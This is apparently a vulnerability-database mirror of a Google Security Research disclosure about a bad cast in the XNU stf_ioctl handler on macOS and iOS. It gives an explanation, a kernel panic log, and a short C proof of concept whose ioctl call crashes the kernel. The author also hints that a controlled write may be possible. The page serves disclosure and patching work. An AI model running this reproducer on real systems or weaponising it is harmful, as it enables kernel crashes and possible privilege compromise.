Lucene search
K

Apple macOS < 10.14.5 / iOS < 12.3 XNU - Wild-read due to bad cast in stf_ioctl

🗓️ 21 May 2019 00:00:00Reported by Google Security ResearchType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 275 Views

Vulnerability in Apple macOS & iOS XNU due to bad cast in stf_ioctl function leading to wild-rea

Code
/*

# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#include <stdio.h>
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <unistd.h>
#include <net/if.h>
#include <string.h>

/*
# Reproduction
Tested on macOS 10.14.3:
$ clang -o stf_wild_read stf_wild_read.cc
$ ./stf_wild_read

# Explanation
SIOCSIFADDR is an ioctl that sets the address of an interface.
The stf interface ioctls are handled by the stf_ioctl function.
The crash occurs in the following case where a `struct ifreq`
is read into kernel memory and then casted to the incorrect
`struct ifaddr` type. I suspect this ioctl is not intended to
be reachable by the user, but is unintentionally exposed without
the necessary translation from `ifreq` to `ifaddr`, e.g. as it is
done in `inctl_ifaddr`.

	case SIOCSIFADDR:
		ifa = (struct ifaddr *)data;
		if (ifa == NULL) {
			error = EAFNOSUPPORT;
			break;
		}
		IFA_LOCK(ifa);
		if (ifa->ifa_addr->sa_family != AF_INET6) { // <- crash here
			IFA_UNLOCK(ifa);
			error = EAFNOSUPPORT;
			break;
		}

Note that IFA_LOCK is called on user-provided data; it appears that there
is an opportunity for memory corruption (a controlled write) when using
indirect mutexes via LCK_MTX_TAG_INDIRECT (see lck_mtx_lock_slow).

# Crash Log
panic(cpu 6 caller 0xffffff80112da29d): Kernel trap at 0xffffff80114a2ec8, type 14=page fault, registers:
CR0: 0x0000000080010033, CR2: 0x0000000000000001, CR3: 0x00000005e4ea1168, CR4: 0x00000000003626e0
RAX: 0x0000000000000000, RBX: 0x000000000000002f, RCX: 0x0000000002000000, RDX: 0x0000000003000000
RSP: 0xffffffa3d2a1bb90, RBP: 0xffffffa3d2a1bbb0, RSI: 0xffffffa3d2a1bd10, RDI: 0x0000000000000000
R8:  0xffffff805f9db7f0, R9:  0x000000000000002d, R10: 0xffffff805e210100, R11: 0x0000000000000000
R12: 0x0000000000000020, R13: 0xffffff805e20fcb8, R14: 0xffffff805e20fcb8, R15: 0xffffffa3d2a1bd10
RFL: 0x0000000000010246, RIP: 0xffffff80114a2ec8, CS:  0x0000000000000008, SS:  0x0000000000000010
Fault CR2: 0x0000000000000001, Error code: 0x0000000000000000, Fault CPU: 0x6, PL: 0, VF: 0

Backtrace (CPU 6), Frame : Return Address
0xffffffa3d2a1b660 : 0xffffff80111aeb0d mach_kernel : _handle_debugger_trap + 0x48d
0xffffffa3d2a1b6b0 : 0xffffff80112e8653 mach_kernel : _kdp_i386_trap + 0x153
0xffffffa3d2a1b6f0 : 0xffffff80112da07a mach_kernel : _kernel_trap + 0x4fa
0xffffffa3d2a1b760 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1b780 : 0xffffff80111ae527 mach_kernel : _panic_trap_to_debugger + 0x197
0xffffffa3d2a1b8a0 : 0xffffff80111ae373 mach_kernel : _panic + 0x63
0xffffffa3d2a1b910 : 0xffffff80112da29d mach_kernel : _kernel_trap + 0x71d
0xffffffa3d2a1ba80 : 0xffffff801115bca0 mach_kernel : _return_from_trap + 0xe0
0xffffffa3d2a1baa0 : 0xffffff80114a2ec8 mach_kernel : _stfattach + 0x558
0xffffffa3d2a1bbb0 : 0xffffff80114632b7 mach_kernel : _ifnet_ioctl + 0x217
0xffffffa3d2a1bc10 : 0xffffff801145bb54 mach_kernel : _ifioctl + 0x2214
0xffffffa3d2a1bce0 : 0xffffff8011459a54 mach_kernel : _ifioctl + 0x114
0xffffffa3d2a1bd80 : 0xffffff801145f9cf mach_kernel : _ifioctllocked + 0x2f
0xffffffa3d2a1bdb0 : 0xffffff80116f5718 mach_kernel : _soo_select + 0x5e8
0xffffffa3d2a1be00 : 0xffffff80116990ab mach_kernel : _fo_ioctl + 0x7b
0xffffffa3d2a1be30 : 0xffffff80116eefac mach_kernel : _ioctl + 0x52c
0xffffffa3d2a1bf40 : 0xffffff80117b62bb mach_kernel : _unix_syscall64 + 0x26b
0xffffffa3d2a1bfa0 : 0xffffff801115c466 mach_kernel : _hndl_unix_scall64 + 0x16
*/

#define IPPROTO_IP 0

int main() {
    int s = socket(AF_SYSTEM, SOCK_DGRAM, IPPROTO_IP);
    if (s < 0) {
        printf("failed\n");
        return 1;
    }
    struct ifreq ifr = {};
    memcpy(ifr.ifr_name, "stf0\0000", 8);
    int err = ioctl(s, SIOCSIFADDR, (char *)&ifr);
    close(s);
    printf("done\n");
    return 0;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation